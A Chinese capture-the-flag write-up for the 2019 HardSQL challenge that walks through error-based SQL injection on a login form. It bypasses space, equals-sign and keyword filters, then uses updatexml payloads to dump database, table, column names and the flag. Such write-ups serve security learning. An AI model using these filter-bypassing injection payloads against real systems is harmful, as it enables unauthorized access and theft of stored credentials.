[极客大挑战 2019]HardSQL--详细解析
信息搜集
登录系统,有两个可能的注入点:
随便输一下看看传参类型:
都是GET型。
SQL注入
传参 username=admin’&password=123
传参 username=admin&password=123’
username和password传参,四种闭合方式只有单引号报错,说明都是单引号闭合。
猜测一下查询语句:
$sql = "SELECT ? FROM ? WHERE username='".$username."' and password='".$password."'";
在username处进行注入,看看能不能免密码登录:
admin' or 1=1# //回显:你可别被我逮住了,臭弟弟估计是有关键字被过滤了
admin'# //NO,Wrong username password!!
admin'--+ //你可别被我逮住了,臭弟弟
注释#是可以用的
大概测试了一下,空格、等号、and、–+被过滤
先看一下空格的绕过:/**/被过滤,%0a好像可以
但是使用之后发现%经过url编码后会被解析为%25,不能使用。
那我们就使用括号来绕过:
admin'or((1)like(1))#
password随便写
登录成功,说明我们的绕过方式是正确的。
但是没有回显,且过滤了union,所以不能使用联合注入。
既然有报错信息,那我们考虑报错注入:
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))# //geek
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# // '~H4rDsq1~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# // '~id,username,password~'
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username))from(H4rDsq1)),0x7e),1))# //flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))# //'~flag{de3c8f8a-a2ff-4699-9221-6a'
admin'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),30),0x7e),1))# //'~a-a2ff-4699-9221-6a6ec9bf77e1}~'
flag{de3c8f8a-a2ff-4699-9221-6a6ec9bf77e1}
得到flag.
总结
考察了对空格、等号和部分关键字的绕过;
考察了对报错注入的使用。